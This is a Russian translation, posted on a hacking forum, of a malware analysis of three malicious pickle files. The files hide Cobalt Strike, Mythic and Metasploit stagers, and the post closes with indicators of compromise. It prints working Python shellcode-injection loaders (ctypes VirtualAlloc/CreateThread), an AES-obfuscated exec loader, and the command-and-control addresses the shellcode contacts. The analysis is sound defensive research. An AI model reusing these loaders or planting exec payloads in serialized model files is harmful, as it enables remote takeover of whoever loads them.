Статья Декомпиляция и разбор pickle-файлов

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
PickleSrike_MED38-scaled.jpg
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> bc1qhavqpqvfwasuhf53xnaypvqhhvz966upnk8zy7 для поднятия private нодs ETHEREUM и тестов

В нашей предыдущей статье Используем машинное обучение для запуска программ-вымогателей мы рассказали о том, как вредоносное ПО может быть скрытно внедрено в ML-модели и автоматически запущено с помощью стандартных библиотек десериализации данных - а именно pickle. Вскоре после публикации несколько человек связались с нами, чтобы узнать, заметили ли мы злоумышленников, использующих формат pickle для внедрения вредоносного ПО, и, как выяснилось, это так. В этом дополняющем посте мы рассматриваем три вредоносных pickle-файла, используемых для развертывания Cobalt Strike, Metasploit и Mythic соответственно, каждый из которых был загружен в публичные репозитории в последние месяцы. Предлагаем краткий анализ этих файлов, чтобы показать, как этот вектор атаки активно используется в природе.


Cobalt Strike Stager

SHA256: 391f5d0cefba81be3e59e7b029649dfb32ea50f72c4d51663117fdd4d5d1e176

Первый вредоносный файл pickle (сериализованный с помощью протокола pickle версии 3) был загружен в январе 2022 года и использует встроенную функцию Python exec для выполнения встроенного скрипта Python. Сценарий опирается на библиотеку ctypes для вызова API Windows, таких как VirtualAlloc и CreateThread. Таким образом, он внедряет и запускает 64-битный шеллкод Cobalt Strike stager. Мы использовали простой "дизассемблер" pickle, основанный на коде из Kaitai Struct (http://formats.kaitai.io/python_pickle/), чтобы выделить опкоды, используемые для выполнения каждой полезной нагрузки:

Код:
\x80 proto: 3
\x63 global_opcode: builtins exec
\x71 binput: 0
\x58 binunicode:
import ctypes,urllib.request,codecs,base64
AbCCDeBsaaSSfKK2 = "WEhobVkxeDRORGhj" // shellcode, truncated for readability
AbCCDe = base64.b64decode(base64.b64decode(AbCCDeBsaaSSfKK2))
AbCCDe =codecs.escape_decode(AbCCDe)[0]
AbCCDe = bytearray(AbCCDe)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(AbCCDe)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(AbCCDe)).from_buffer(AbCCDe)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(AbCCDe)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
\x71 binput: 1
\x85 tuple1
\x71 binput: 2
\x52 reduce
\x71 binput: 3
\x2e stop

Закодированный в base64 шеллкод из этого образца подключается к https://121.199.68[.]210/Swb1 с уникальной строкой User-Agent Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP09; NP09; MAAU)

1.png


IP, жестко закодированный в этом шеллкоде, появляется в различных информационных лентах в связи с активностью CobaltStrike; несколько различных стейджеров CobaltStrike были замечены на этом IP, а DLL-библиотека маяка, которая когда-то размещалась там, имеет watermark, связанный со многими киберпреступными группами, включая TrickBot/SmokeLoader, Nobelium и APT29.

2.png


Mythic Stager

SHA256: 806ca6c13b4abaec1755de209269d06735e4d71a9491c783651f48b0c38862d5

Второй образец (сериализованный с использованием протокола pickle версии 4) появился в природе в июле 2022 года. Он довольно похож на первый тем, что использует библиотеку ctypes для загрузки и выполнения 32-битного шеллкода Cobalt Strike stager.

Код:
\x80 proto: 4
\x95 frame: 5397
\x8c short_binunicode: builtins
\x94 memoize
\x8c short_binunicode: exec
\x94 memoize
\x93 stack_global
\x94 memoize
\x58 binunicode:
import base64
import ctypes
import codecs
shellcode= "" // removed for readability
shellcode = base64.b64decode(shellcode)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

\x94 memoize
\x85 tuple1
\x94 memoize
\x52 reduce
\x94 memoize
\x2e stop

В этом случае шеллкод подключается к 43.142.60[.]207:9091/7Iyc с User-Agent, установленным на Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)

3.png


Жестко закодированный IP-адрес был недавно упомянут в отчете Team Cymru о фреймворке Mythic C2. Mythic - это основанная на Python платформа "красной команды" для пост-эксплуатации и альтернатива Cobalt Strike с открытым исходным кодом. Ориентируясь на значение E-Tag, которое присутствует в HTTP-заголовках запросов, связанных с Mythic, исследователи Team Cymru смогли найти список IP-адресов, которые, вероятно, связаны с Mythic - и этот IP-адрес был одним из них. Интересно то, что чуть более 4 месяцев назад (август 2022 года) Mythic представила модуль-обертку pickle, который позволяет внедрить C2-агент в модель машинного обучения pickle-serialized! Это означает, что некоторые испытания уже рассматривают ML-модели в качестве вектора атаки. Однако известно, что Mythic используется не только в деятельности "красных команд", но и некоторыми известными киберпреступными группами, и недавно он был замечен в связи с кампанией 2022 года, направленной на пакистанские и турецкие правительственные учреждения, а также для распространения вредоносного ПО BazarLoader.

Metasploit Stager

SHA256: 9d11456e8acc4c80d14548d9fc656c282834dd2e7013fe346649152282fcc94b

Этот образец появился под именем favicon.ico в середине ноября 2022 года и отличается несколько большей обфускацией, чем предыдущие два образца. Функция внедрения шеллкода зашифрована с помощью AES-ECB с жестко заданной парольной фразой hello_i_4m_cc_12. Сам шеллкод вычисляется с помощью арифметической операции над большим значением int и содержит оболочку Metasploit reverse-tcp, которая соединяется с жестко закодированным IP 1.15.8.106 на порту 6666.

Код:
\x80 proto: 3
\x63 global_opcode: builtins exec
\x71 binput: 0
\x58 binunicode:
import subprocess
import os
import time
from Crypto.Cipher import AES
import base64
from Crypto.Util.number import *
import random
while True:   
    ret = subprocess.run("ping baidu.com -n 1", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    if ret.returncode==0:
        key=b'hello_i_4m_cc_12'
        a2=b'p5uzeWCm6STXnHK3 [...]' // truncated for readability
        enc=base64.b64decode(a2)
        ae=AES.new(key,AES.MODE_ECB)
        num2=9287909549576993 [...] // truncated for readability
        num1=(num2//888-777)//666
        buf=long_to_bytes(num1)
        exec(ae.decrypt(enc))
    elif ret.returncode==1:
        time.sleep(60)

\x71 binput: 1
\x85 tuple1
\x71 binput: 2
\x52 reduce
\x71 binput: 3
\x2e stop

Расшифрованный код инъекции очень похож на то, что наблюдалось ранее: API Windows вызываются через библиотеку ctypes для внедрения полезной нагрузки в исполняемую память и запуска ее через новый поток.

Код:
import ctypes
shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c

Декодированный шеллкод оказался 64-битным reverse-tcp stager:

4.png


IP-адрес расположен в Китае и действовал в качестве C2-сервера Cobalt Strike еще в октябре 2022 года, согласно многочисленным трекерам Cobalt Strike.

Выводы

Хотя мы не можем быть на 100% уверены, что описанные вредоносные pickle-файлы были использованы в реальных атаках (поскольку нам не хватает контекстной информации), наши результаты окончательно доказывают, что противники уже рассматривают этот вектор атаки как способ распространения вредоносного ПО. IP-адреса, в приведенных выше образцах, использовались в других вредоносных программах, включая различные экземпляры Cobalt Strike и Mythic stagers, что позволяет предположить, что эти шеллкоды с сериализацией pickle не были частью законного исследования или деятельности "красной команды". Поскольку некоторые фреймворки для пост-эксплойта и так называемой "эмуляции противника" начинают поддерживать этот вектор атак, это лишь вопрос времени, когда мы увидим рост числа таких атак.

Мы собрали набор правил YARA для обнаружения вредоносных/подозрительных pickle-файлов, которые можно найти в открытом BitBucket-репозитории HiddenLayer.

Индикаторы компрометации

Indicator Type Description
391f5d0cefba81be3e59e7b029649dfb32ea50f72c4d51663117fdd4d5d1e176 SHA256 Cobalt Strike Stager
806ca6c13b4abaec1755de209269d06735e4d71a9491c783651f48b0c38862d5 SHA256 Mythic Stager
9d11456e8acc4c80d14548d9fc656c282834dd2e7013fe346649152282fcc94b SHA256 Metasploit Stager
121.199.68[.]210 IP Cobalt Strike Stager
43.142.60[.]207 IP Mythic Stager
1.15.8[.]106 IP Metasploit Stager

Авторы: Eoin Wickens, Marta Janus, Tom Bonner
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх